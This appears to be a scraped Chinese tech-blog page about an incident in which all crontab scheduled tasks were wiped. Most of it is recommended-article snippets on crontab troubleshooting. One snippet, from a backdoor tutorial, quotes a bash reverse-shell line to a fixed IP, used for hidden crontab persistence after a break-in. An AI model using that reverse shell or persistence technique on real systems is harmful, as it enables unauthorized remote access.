一起诡异的Crontab事件定位-所有计划任务被意外清空

最新推荐文章于 2023-11-28 15:01:22 发布
原创 最新推荐文章于 2023-11-28 15:01:22 发布 · 680 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文记录了一次所有计划任务被意外清空的诡异Crontab事件，并提供了几个关于Crontab管理和备份的相关链接。
liNewman
关注
记一次线上bug：crontab 被意外清空
楠少博客
07-04 1486
同事反馈，某台服务器的crontab被清空了.看了cron这一时刻被替换掉了，后续就没有任务执行了。然后紧急恢复备份，并从日志中检查遗漏项。产生的操作，弄明白了，但是原理还是没搞明白。定时备份。在卡住时，不要中断，先备份，在停止掉。
LINUX中使用cron定时任务被隐藏，咋回事？
有莘不破的博客
04-17 1458
LINUX中使用cron定时任务被隐藏的一则安全小案例
一起诡异的Crontab事件定位 - 所有计划任务被意外清空
weixin_34352449的博客
05-26 205
一起诡异的Crontab事件定位 - 所有计划任务被意外清空今天，我接到了一位同事的电话，说有一个严重的问题需要处理，“所有的Crontab计划任务都被人清空了”。我立刻问有没有备份，回答是“可能没有”。这样一来，情况就变得非常紧急了，因为我们每天在跑的计划任务有上百条。于是我登陆到服务器，检查了所有相关的日志，最后终于找到了事故的原因，并且恢复了Crontab计划任务。事故...
cron意外消失事件
weixin_30249203的博客
10-09 560
起因是一件诡异的事情，Linux服务器上的cron意外消失了，查看了操作日志，并没有对cron进行编辑的命令出现。大多是sudo crontab -l，或者不小心敲错了的sudo crond，sudo crontab... 等等，好像有不对的地方，不小心敲下crontab 之后，会好长时间没有反应，我懒得等待，就强制退出了。然后渡过了一个漫长的假期，回到公司，登录Linux，敲下 cronta...
使用Crontab创建定时事件
qq_43936524的博客
03-28 183
ubuntu中查看cron日志的命令 grep cron /var/log/syslog 将默认日志改为/var/log/cron的方法 vi /etc/rsyslog.d/50-default.conf 重启rsyslog,重启cron service rsyslog restart service cron restart 设置定时事件流程 1.crontab 命令参数 crontab -u 用户 -e 执行文字编辑器来设定时程表 -r 删除时刻表 2.定时事件格式 * *
centos linux 下crontab -e 命令插入及保存
lychao89的专栏
12-08 1462
root身份登录到命令行 输入crontab -e 按下a键进入到编辑模式 输入 0 */1 * * * /home/work/start-service.sh 同时按下ctrl+c退出编辑模式 按下shift+: 输入wq 退出 crontab
Crontab
程序媛小小平的博客
11-07 867
01 Crontab Linux中，定期执行程序的命令，精确到分，秒的话需要自己手动写脚本。 Cron Job：被周期性执行的任务 Cron Table：被周期性执行的列表。 日志文件: ll /var/log/cron* 编辑文件：vim /etc/crontab 进程：ps -ef | grep crond ==> /etc/init.d/crond restart...
误操作导致配置清空怎么办：非密码恢复场景下的5种紧急恢复方案
[误操作导致配置清空怎么办：非密码恢复场景下的5种紧急恢复方案](https://www.adslzone.net/app/uploads-adslzone.net/2022/01/reset.jpg) # 摘要 配置丢失是运维过程中高发且影响严重的故障类型，可能导致服务...
调试环境变量终极方法论：日志追踪+源码分析双管齐下的4步定位法
其核心挑战在于**传递链路隐式且不可见**：从Shell启动、容器注入到进程fork/exec，变量可能在任意环节被覆盖、过滤或遗漏。更棘手的是，不同运行环境（如Docker、Kubernetes、WSL）对`environ`的处理存在细微差异，...
CPU负载飙升怎么办？9个关键工具与技术快速定位性能瓶颈
9个关键工具与技术快速定位性能瓶颈](http://highload.guide/blog/uploads/images_code-profiling-nix/Image27.png) # 1. CPU负载飙升的常见现象与诊断思路 当系统出现响应变慢、服务超时或进程卡死时，往往背后是...
小游戏性能瓶颈破局之道：用JVM监控工具定位内存泄漏与GC风暴根源
!... # 摘要 小游戏在高频率对象创建与复杂交互场景下面临显著的性能挑战，其中JVM内存管理机制成为影响运行效率的核心因素。本文系统分析了小游戏性能瓶颈的表现形式及其成因，深入解析JVM内存模型与垃圾回收机制，...
Linux应急响应——SSH暴力破解+crontab隐藏后门——事件复现（含靶场环境）下载地址.txt
04-21
Linux应急响应——SSH暴力破解+crontab隐藏后门——事件复现（含靶场环境）下载地址，真实有效，亲测可用。
LINUX留后门--教程（五）—— crontab隐藏后门
W小哥
07-08 4496
2.3 留crontab隐藏后门 好不容易拿下一个网站，以后还想继续使用该系统，通常都会留下一些后门，本次我们留下一个crontab隐藏后门 我们把1.sh、2.sh 文件放在本地搭建的web服务上，让受害者去下载执行 1.sh文件内容 #!/bin/bash bash -i >& /dev/tcp/192.168.184.145/5555 0>&1 反弹shell到IP地址：192.168.184.145 2.sh文件内容 (crontab -l;printf "* * *
windows10，家庭版，计划任务被清空
tiny2020的博客
06-28 2250
二级文件夹，里面添加的计划任务；第二天发现，数据没更新，再查看计划任务的运行，发现文件没了。。。原因不详
crontab 定时任务失效的解决方法
weixin_42957379的博客
03-18 2748
1、查看crontab的错误日志 /var/log/crontab (root) FAILED to authorize user with PAM (Authentication token is no longer valid; new one required) 2、发现是认证过期 3、 chage -l root 4、最长天数为90天 可以把它改为永久99999 chage -M ...
crontab 被内容清空
wayuan的专栏
11-26 6830
转载：http://zhang41082.itpub.net/post/7167/505262 某个业务因为系统事件跟标准时间相差太大，挂了，排查下来发现凶手是因为CRONTAB中设置的定时任务消失导致，而这个定时任务干的活就是定期进行时间同步。开始怀疑是谁手工把定时任务干掉了，但是排查日志发现现象很诡异，询问所有有机器访问权限的人，没有人修改过这个咚咚。 /var/log/cro
【创建和排查隐藏进程和隐藏计划任务】
weixin_46356409的博客
11-28 3856
创建隐藏进程和隐藏计划任务：隐藏进程：在Windows中，隐藏进程主要通过修改进程属性或使用第三方工具实现。在这个示例中，我们创建了一个新的PowerShell作业，该作业启动了一个隐藏的记事本进程。隐藏计划任务：使用Windows任务计划程序创建计划任务时，可以设置任务为隐藏。排查隐藏进程和隐藏计划任务：排查隐藏进程：要查找隐藏进程，可以使用任务管理器、命令提示符或PowerShell。这个命令将列出所有没有主窗口句柄的进程，这可能包括隐藏的进程。但请注意，这也可能包括正常的后台进程。
2018.06 一起诡异的Crontab事件定位 – 所有计划任务被意外清空
亮
06-15 1720
今天，我接到了一位同事的电话，说有一个严重的问题需要处理，“所有的Crontab计划任务都被人清空了”。 我立刻问有没有备份，回答是“可能没有”。这样一来，情况就变得非常紧急了，因为我们每天在跑的计划任务有上百条。 于是我登陆到服务器，检查了所有相关的日志，最后终于找到了事故的原因，并且恢复了Crontab计划任务。 事故原因： 如果我们...
解决 crontab iptables command not found （iptables 无法使用）的问题
qq_36588424的博客
10-27 5612
结果发现报错：iptables command not found其实看到了这个错误老王就想到应该是 bash 和 sh 的问题，因为之前老王出现过crontab 任务中 Shell 脚本 for 循环不生效的问题原因与解决。
清空crontab任务
最新发布
07-30
清空Linux系统中的cron定时任务（crontab）通常涉及到编辑crontab配置文件。在终端里，你可以通过以下步骤来清空当前用户的crontab： 1. 打开终端并输入命令 `crontab -e`。这将打开默认的文本编辑器（通常是vim...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值